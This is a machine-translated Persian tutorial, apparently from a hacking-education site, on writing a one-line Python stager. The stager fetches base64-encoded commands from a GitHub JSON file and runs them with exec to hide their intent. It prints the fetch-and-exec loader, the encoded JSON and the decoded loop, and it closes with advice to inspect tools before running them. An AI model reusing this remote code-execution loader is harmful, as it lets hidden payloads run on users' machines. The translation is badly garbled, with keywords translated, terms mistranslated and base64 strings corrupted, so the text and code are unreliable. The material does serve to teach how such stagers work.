نحوه اجرای مخفی پایتون دستورات در یک خط فيزيوپاتولوژی
یک کارآموز است یک قطعه کوچک از نرم افزار است که به طور معمول مورد استفاده توسط نرم افزارهای مخرب برای پنهان کردن آنچه اتفاق می افتد در مراحل اولیه عفونت و برای دانلود یک بزرگتر حمل بار بعد.
ما در حال رفتن به کشف چگونه آن را با این نسخهها کار با ایجاد یک خط است که محبوبیت و اجرا می شود به طور بالقوه بی نهایت خطوط پایتون. یک مهاجم می تواند با استفاده از این برای پنهان کردن واقعا مشکوک آسیب رساندن به حمل بار در راه است که کسی که فقط از طریق دستکاری جدید ابزار امنیتی ممکن است از دست ندهید.
راه ما در حال رفتن به باز کردن این پایه را پشتیبانی می کند ما دستورات مختلف در Base64 و سپس آپلود آن را به یک شی JSON بنابراین ما می تواند آن را رمزگشایی آنها و اجرای آنها را یکی یکی — همه در حالی که نگه داشتن همه چیز در یک خط از پایتون.
نصب و یا به روز رسانی Python 3
به دنبال همراه, شما نیاز به پایتون 3 نصب شده بر روی کامپیوتر شما. هنوز مطمئن شوید که اگر شما آن را? نوع python3-نسخه به یک پنجره ترمینال به پیدا کردن.
~$ python3-نسخه Python 3.7.6
اگر شما آخرین نسخه از پایتون 3 انجام sudo apt به روز رسانی و نصب کنید: sudo apt python3 در یک پنجره ترمینال.
~$ sudo apt به روز رسانی [sudo] password for کالی:
آمار:1 http://kali.download/kali kali-نورد InRelease
Reading package lists... انجام می شود
ساختمان وابستگی درخت
خواندن اطلاعات دولتی انجام می شود... 1015 بسته می تواند به روز رسانی. اجرای 'apt لیست --ارتقا' به آنها را ببینید. ~$ sudo apt نصب python3 Reading package lists... انجام می شود
ساختمان وابستگی درخت
خواندن اطلاعات دولتی انجام می شود... زیر بسته شد به طور خودکار نصب شده و دیگر مورد نیاز: dkms libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libpython3.7-dev linux-headers-amd64 python3.7-dev
استفاده از 'sudo apt autoremove' به آنها را حذف کنید.
زیر بسته های اضافی نصب خواهد شد:
...
پردازش محرک برای دسکتاپ-فایل-utils (0.24-1) ...
پردازش محرک برای mime پشتیبانی (3.64) ...
پردازش باعث libc-bin (2.29-9) ...
پردازش باعث systemd (244-3) ...
پردازش محرک برای مرد-db (2.9.0-2) ...
پردازش محرک برای kali-منو (2020.1.7) ...
پردازش باعث initramfs-ابزار (0.135+kali1) ...
به روز رسانی-initramfs: تولید /boot/initrd.img-5.4.0-kali3-amd64
نصب دیتابیس IDE (اختیاری)
ما برای ایجاد یک بوش, ما قصد داریم به استفاده از دیتابیس یک Python IDE (محیط توسعه مجتمع). شما می توانید با استفاده از چیز دیگری است اما اگر شما می خواهید از دیتابیس شما می توانید pdownload و نصب آن را از وب سایت خود را. رایگان نسخه جامعه به اندازه کافی خوب است برای آنچه که ما نیاز داریم و آن را با این نسخهها کار در ویندوز و macOS و لینوکس.
کار را از طریق حمله
نگاهی به یک خط کد زیر است که سعی در پنهان کردن آنچه در آن انجام. این یک مدل خوب برای درک راه است که یک پایه فيزيوپاتولوژی کار ممکن است. به نظر می رسد بسیار اساسی در نگاه اول از همه به نظر می رسد مانند آن را انجام درخواست برخی از داده ها و اجرای آنچه به نظر می رسد مانند یک Base64 کد گذاری رشته است.
واردات json; واردات درخواست; واردات از base64; data = (درخواست.دریافت("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).رمزگشایی('utf-8'))
اگر شما می دانید هر چیزی در مورد برنامه نویسی است که کد بسیار نگران کننده است زیرا شما هیچ ایده چه چیزی در این رشته و شما هیچ ایده آنچه که دقیقا آن را به انجام. آن می تواند تاحدودی گیج کننده و حتی بیشتر از آن است که تنها چیزی که شما واقعا فقط از Base64 رشته است. شما می توانید واقعا یک رشته طولانی از دستورات پشت یک تابع exec برای پنهان کردن آنچه که واقعا در رفتن است.
چه نقطه از این همه ؟ بدترین چیزی که می تواند اتفاق می افتد اگر شما برای اجرای این کد ؟
بیایید یک بار مانند زیر و اجرای آن در دیتابیس.
print("operaton موفقیت آمیز بود")
print("اگر شما نگاه کنید به این چند خط کار می کند")
print("در حال حاضر فقط سوار قطار")
شما می توانید آن را فقط یک زن و شوهر چاپ اظهارات که در واقع کار.
Operaton یک موفقیت بود
اگر شما نگاه کنید به این چند خط کار می کند
در حال حاضر فقط سوار قطار
در حال حاضر اجازه دهید به بازگشت به که یک بوش و نگاهی به صورت خام مرتبط آدرس فایل JSON در یک مرورگر وب برای دیدن آنچه آن را مانند به نظر می رسد.
https://raw.githubusercontent.com/skickar/Research/master/twitter1.json { "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkyxrhksaridepktogzxhlyyhiyxnlnjquyjy0zgvjb2rlkgrhdgfbj217fscuzm9ybwf0kgkpxskuzgvjb2rlkcd1dgytoccpkqo=", "m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganvzdcbszxqgc29tzsbyyw5kb20guhl0ag9uihbyb2dyyw0grxhlyybjb2rlig9uihlvdxigc3lzdgvtit8hpyeikqpwcmludcgiqxjlihlvdsbmdwnraw5nignyyxp5pz8/IikKCg==", "m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgagvyzswgag93igrvzxmgdghpcybzy3jpchqgd29yaz8gv2vsbcwgaxqncybzdhvwawqsigfuzcbncmvhdcipcnbyaw50kcjxagf0igl0igrvzxmgaxmgcmvxdwvzdcbzb21lieptt04gzgf0ysbmcm9tiedpdgh1yiwgd2hpy2ggaxmgbg9hzgvkihdpdgggymfzztq2ihn0cmluz3mikqpwcmludcgivghpcybjb2rlihrha2vzihroyxqgslnptibvymply3qgyw5kigrly29kzxmgdghligjhc2u2ncbzdhjpbmdzlcb3agljacbhcmugywn0dwfsbhkguhl0ag9uignvbw1hbmrziikkchjpbnqoilrozw4sigl0igjsaw5kbhkgzxhly3v0zxmgdghlbsbvbib5b3vyihnvznqsihz1bg5lcmfibgugc3lzdgvtlibjdcbkb2vzihroaxmgzm9yighvd2v2zxigbwfuesbjb21tyw5kcyb5b3ugd2fudc4ikqpwcmludcgirm9ydhvuyxrlbhksihroaxmgcgf5bg9hzcbpcybqdxn0ihbyaw50ihn0yxrlbwvudhmsigj1dcbizwnhdxnlihrozsbku09oigtlexmgyxjlig9yz2fuaxplzcb0bybhzgqgyxmgbwfuesbhcyb5b3ugd2fudcwgaxqncyblyxn5ihrvigfkzcbjb21tyw5kcy4ikqo="
}
اگر ما در نظر JSON ورودی ما می توانید ببینید که این چیزی است که کد واقعی به نظر می رسد مانند:
{ "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkyxrhksaridepktogzxhlyyhiyxnlnjquyjy0zgvjb2rlkgrhdgfbj217fscuzm9ybwf0kgkpxskuzgvjb2rlkcd1dgytoccpkqo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganvzdcbszxqgc29tzsbyyw5kb20guhl0ag9uihbyb2dyyw0grxhlyybjb2rlig9uihlvdxigc3lzdgvtit8hpyeikqpwcmludcgiqxjlihlvdsbmdwnraw5nignyyxp5pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgagvyzswgag93igrvzxmgdghpcybzy3jpchqgd29yaz8gv2vsbcwgaxqncybzdhvwawqsigfuzcbncmvhdcipcnbyaw50kcjxagf0igl0igrvzxmgaxmgcmvxdwvzdcbzb21lieptt04gzgf0ysbmcm9tiedpdgh1yiwgd2hpy2ggaxmgbg9hzgvkihdpdgggymfzztq2ihn0cmluz3mikqpwcmludcgivghpcybjb2rlihrha2vzihroyxqgslnptibvymply3qgyw5kigrly29kzxmgdghligjhc2u2ncbzdhjpbmdzlcb3agljacbhcmugywn0dwfsbhkguhl0ag9uignvbw1hbmrziikkchjpbnqoilrozw4sigl0igjsaw5kbhkgzxhly3v0zxmgdghlbsbvbib5b3vyihnvznqsihz1bg5lcmfibgugc3lzdgvtlibjdcbkb2vzihroaxmgzm9yighvd2v2zxigbwfuesbjb21tyw5kcyb5b3ugd2fudc4ikqpwcmludcgirm9ydhvuyxrlbhksihroaxmgcgf5bg9hzcbpcybqdxn0ihbyaw50ihn0yxrlbwvudhmsigj1dcbizwnhdxnlihrozsbku09oigtlexmgyxjlig9yz2fuaxplzcb0bybhzgqgyxmgbwfuesbhcyb5b3ugd2fudcwgaxqncyblyxn5ihrvigfkzcbjb21tyw5kcy4ikqo="
}
آن را بسیار گیج کننده است و واقعا به معنی زیادی برای فرد به طور متوسط اگر آنها آن را ببینید. آن دسته از آشکار دستورات و آنها را مجبور به رمزگشایی هر یک به واقعا ببینید چه اتفاقی می افتد.
بنابراین اگر وجود دارد یک دسته از بی ضرر دستورات در JSON به همراه یک زن و شوهر از آنهایی که مخرب و یا اگر شما قادر به تماس با دستورات در یک جهت متفاوت است بنابراین شما اساسا می تواند ساخت یک ساختار های مخرب و سپس بازی شروع می شود را تغییر دهید. چرا که ما نمی دانیم چه منظور آنها نام گرفته است. و شما می توانید تمام انواع چیزهای دیگر به obfuscate راه کد کار است.
اینها همه سطوح از فریب است که یک کارآموز ممکن است برای پنهان کردن آنچه در آن نیت واقعی هستند. شما نمی خواهید به فقط خود را رها بهترین نرم افزارهای مخرب در حق دور و پس از آن همه سوء استفاده از شما خارج وجود دارد وجود دارد به طوری که اگر کسی آن را جلب آنها دقیقا می دانند که چگونه به دفاع در برابر آن است.
در حال حاضر ما چگونه می توانیم به این دستورات پایتون در واقع رشته و چگونه ما آن را برای اجرا به درستی که ما آن را اجرا?
اگر ما یک خط کد از فيزيوپاتولوژی و اجرای آن در پایتون پس از آن ما می توانید ببینید چه اتفاقی می افتد. همانطور که شما در زیر می توانید ببینید ما یک دسته کامل از چاپ اظهارات و که واقعا آنچه که ما انتظار داشتند که به دلیل آن بسیار کوتاه است. وجود دارد مقدار زیادی از متن را در اینجا که بیرون آمدن از دستورات و ما در واقع نمی دانم چه خبر است علاوه بر این چاپ اظهارات. گذشته از آن ما می تواند یک وضعیت که در آن چیزهای دیگر در حال اجرا بر روی کامپیوتر و همه ما با دیدن چیزی است فریبنده که در تلاش برای فریب ما را به فکر که همه چیز خوب است.
~$ python3 Python 3.8.2 (به طور پیش فرض May 1 سال 2020, 15:52:55)
[شورای همکاری خلیج فارس 9.3.0] در لینوکس
نوع "کمک", "کپی رایت", "اعتبار" یا "مجوز" برای اطلاعات بیشتر. >>> واردات json; واردات درخواست; واردات از base64; data = (درخواست.دریافت("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).رمزگشایی('utf-8')) شما هرگز باید فقط اجازه دهید برخی از تصادفی برنامه پایتون Exec کد بر روی سیستم شما!?!?!
شما لعنتی دیوانه???
اما در حالی که شما در اینجا چگونه کار می کند این اسکریپت کار می کند ؟ آن را احمقانه و بزرگ
آنچه در آن می کند این است که به درخواست برخی از داده های JSON از Github است که لود شده با base64 رشته
این کد طول می کشد که شی JSON و رمز گشایی از base64 رشته که در واقع دستورات پایتون
سپس آن را کورکورانه آنها را اجرا و خود را نرم و آسیب پذیر سیستم اما beceuase JSON کلید های سازمان یافته برای اضافه کردن به عنوان بسیاری از شما می خواهید آن را آسان برای اضافه کردن دستورات است. >>> ترک()
در حال حاضر, اجازه دهید نگاهی به اسکریپت پایتون ما زد در دیتابیس و ما می توانید چاپ اظهارات که اجرا خواهد شد.
print("operaton موفقیت آمیز بود")
print("اگر شما نگاه کنید به این چند خط کار می کند")
print("در حال حاضر فقط سوار قطار")
زمانی که اجرای ما باید این را دریافت کنید:
Operaton یک موفقیت بود
اگر شما نگاه کنید به این چند خط کار می کند
در حال حاضر فقط سوار قطار
اگر ما می خواهید به رمز آن را به طوری که ما می توانید آن را در شی JSON آنچه که ما می توانید انجام دهید این است که اجرای base64 با نام ما استفاده می شود برای ذخیره آن بر روی سیستم ما (شما می توانید چیز دیگری). که رمز محتویات فایل متنی.
~$ base64 yourpythonfilehere.py cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3vjy2vzcyipcnbyaw50kcjjzib5b3ugc2vlihroaxmsig11bhrplwxpbmugd29ya3mikqpwcmludcgitm93igp1c3qgcmlkaw5nihrozsb0cmfpbiipcg==
اگر من به exec آن را پس از رمز گشایی آن پیش بروید و نه تنها حفظ این کد که وجود دارد اما خط می شکند بیش از حد, بنابراین من می تواند به اجرای چند خط کد در یکی از base64 شی. که یکی از مزیت زیرا شما می توانید یک شی است که به نظر می رسد مانند آن را تنها یک چیز است که در واقع ممکن است آن را یک دسته از خطوط مختلف از کد همه کهنه را به یکی.
این فوق العاده است اگر ما می خواهیم به آن را سخت به تجزیه و تحلیل. به طور کلی روند ما در حال رفتن به نوشتن متفاوت payloads تبدیل آنها به یک رشته Base64 و رها کردن آنها را به یک ساختار داده که ما در اینجا مشاهده کنید:
{ "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkyxrhksaridepktogzxhlyyhiyxnlnjquyjy0zgvjb2rlkgrhdgfbj217fscuzm9ybwf0kgkpxskuzgvjb2rlkcd1dgytoccpkqo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganvzdcbszxqgc29tzsbyyw5kb20guhl0ag9uihbyb2dyyw0grxhlyybjb2rlig9uihlvdxigc3lzdgvtit8hpyeikqpwcmludcgiqxjlihlvdsbmdwnraw5nignyyxp5pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgagvyzswgag93igrvzxmgdghpcybzy3jpchqgd29yaz8gv2vsbcwgaxqncybzdhvwawqsigfuzcbncmvhdcipcnbyaw50kcjxagf0igl0igrvzxmgaxmgcmvxdwvzdcbzb21lieptt04gzgf0ysbmcm9tiedpdgh1yiwgd2hpy2ggaxmgbg9hzgvkihdpdgggymfzztq2ihn0cmluz3mikqpwcmludcgivghpcybjb2rlihrha2vzihroyxqgslnptibvymply3qgyw5kigrly29kzxmgdghligjhc2u2ncbzdhjpbmdzlcb3agljacbhcmugywn0dwfsbhkguhl0ag9uignvbw1hbmrziikkchjpbnqoilrozw4sigl0igjsaw5kbhkgzxhly3v0zxmgdghlbsbvbib5b3vyihnvznqsihz1bg5lcmfibgugc3lzdgvtlibjdcbkb2vzihroaxmgzm9yighvd2v2zxigbwfuesbjb21tyw5kcyb5b3ugd2fudc4ikqpwcmludcgirm9ydhvuyxrlbhksihroaxmgcgf5bg9hzcbpcybqdxn0ihbyaw50ihn0yxrlbwvudhmsigj1dcbizwnhdxnlihrozsbku09oigtlexmgyxjlig9yz2fuaxplzcb0bybhzgqgyxmgbwfuesbhcyb5b3ugd2fudcwgaxqncyblyxn5ihrvigfkzcbjb21tyw5kcy4ikqo="
}
با هر یک از این پیام ما باید یکی دیگر از دستور مختلف که به نام.
اجازه بازگشت به دیتابیس برای دیدن آنچه که اتفاق می افتد زمانی که ما سعی می کنیم به تجزیه و تحلیل کد. به جای اجرای ناقص چیزی که ما در حال رفتن به فقط چاپ آن با تغییر "exec" به "چاپ" در خط.
واردات json; واردات درخواست; واردات از base64; data = (درخواست.دریافت("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).رمزگشایی('utf-8'))
در حال حاضر اجرای آن را به عنوان یک کارآموز و ما می توانیم زیر مراجعه کنید:
برای من در range (2,(len(دیتا) + 1)): exec(base64.b64decode(data[m{}'.فرمت(i)]).رمزگشایی('utf-8')) فرایند به پایان رسید و با خروج کد 8
چه کد در حال انجام است که با شروع یک حلقه. آن شروع می شود در 2 و آن را اجرا می کند تمام راه را به طول داده تا به عنوان بسیاری از پیام های مختلف که ما را در ما شی JSON. این طراحی شده است که انعطاف پذیر به طوری که آن را در واقع باعث می شود مطمئن شوید که آن را شامل هر پیام است که در شی JSON. ما می توانید به عنوان بسیاری از ما می خواهید و این کد را پیدا خواهد کرد آنها و اجرای آنها را یکی یکی.
در حال حاضر این است .فرمت است که ساخت آن را به طوری که هر زمان ما را از طریق حلقه ما با استفاده از زمان متغیر "من" شروع می شود که در, در این مورد 2 و سپس اجرا می شود تمام راه را به پایان طول داده به علاوه یک. من این را به خاطر من در واقع شروع "م" در صفر است. من باید شروع صفر به آن را آسان تر است. هنوز به صورت یک پیش نویس آن را یک راه بسیار خوبی از توضیح میدهد که چگونه شما می توانید از طریق تکرار یک دسته از پیام با استفاده از یک متر.فرمت و یا برخی دیگر از فرمت به استفاده از "من" از حلقه به پرش از طریق هر یک از پیام های خود را. را که واقعا روشن ما m1, m2 و m3 و این همه کلید ها در ما شی JSON.
راه که JSON کار می کند این است که ما باید یک کلید و سپس روده بزرگ پس از آن یک ارزش است. برای دسترسی به آنها در پایتون به هر حال ما نیاز به مطمئن شوید که ما در حال مشخص کردن اولین کلید و سپس ارزش. ما در حال تعیین m1 که در حال رفتن به کلید و ما اساسا درخواست اطلاعات داخل آن را به عنوان ارزش است که ما در حال جایگزین بنابراین آنچه که ما در حال انجام است گفت: "من می خواهم برای قرار دادن هر قسمت از حلقه که در m به رمزگشایی آن و رها کردن آن را در اینجا و سپس اجرای آن در این حلقه است."
که یک راه است که ما می توانیم باز ما کد پایتون و اجرای یک حلقه است که جهش را از طریق تمام پیام های ما آپلود کرده اید. من فقط با استفاده از m1 به عنوان مثال اما هر عددی دنباله کار خواهد کرد فقط خوب است.
با این کار ما می توانید پیش بروید و به جای ما "چاپ" را به یک "exec." در حال حاضر به جای دیدن اولین خط از کد آن را از طریق رفته و اعدام تمام پیام هایی که ما تا به حال در ما شی JSON.
برای یک مبتدی این خواهد بود بسیار جالب را از دست ندهید چرا که یک خط ساده مثل این یا حتی بیشتر مبهم خط که فقط مدیران و رمز گشایی یک رشته Base64 واقعا نمی شود چیزی است که آنها می خواهم به پرش کنید و سعی کنید برای رمزگشایی از آنجا که آنها ممکن است درک نمی کنند چقدر جدی است.
اما برای هر کسی که با تجربه تر برنامه نویسی از چیزی است که فقط به نظر می رسد مثل exec Base64 رمزگشایی و یک رشته طولانی باید به شما مقدار زیادی از هشدار زیرا در صورتی که فرمان است که بقیه از این پس شما می تواند در بسیاری از مشکلات به عنوان آن را دریافت و اجرا به عنوان بسیاری از خطوط در یک بار و واقعا هر چه می خواهد بر روی سیستم شما
بازرسی ابزارهای جدید برای مشکوک خط کد
اگر شما یاد بگیرند که هر چیزی از این لازم بود که شما نباید فقط پیش بروید و دانلود و اجرای هر ابزار امنیتی بدون رفتن را از طریق آن برای اولین بار و پرداخت توجه خاص به هر خط کد که در حال اجرای چیزهایی که شما را درک نمی کنند.
Exec تابع در پایتون است فوق العاده قدرتمند و بسیار خطرناک به اجرا اگر شما را در درک آنچه در آن انجام. بنابراین هر زمان که شما آن را ببینید در یک خط از کد را, مطمئن شوید که شما می دانید چه چیزی اتفاق می افتد به دلیل آن می تواند اجرا شود در مورد ما به طور بالقوه بی نهایت خط کد شما را بدون دانستن آنچه که آنها انجام.
می خواهید شروع به ساختن پول به عنوان یک کلاه سفید هکر? پرش شروع خود را-کلاه سفید هک حرفه ای با ما 2020 حق بیمه هک اخلاقی, گواهینامه آموزشی از بسته نرم افزاری جدید Null Byte فروشگاه و دریافت بیش از 60 ساعت آموزش از هک اخلاقی حرفه ای است.
خرید در حال حاضر (96٪) >
tinyurlis.gdu.nuclck.ruulvis.netshrtco.de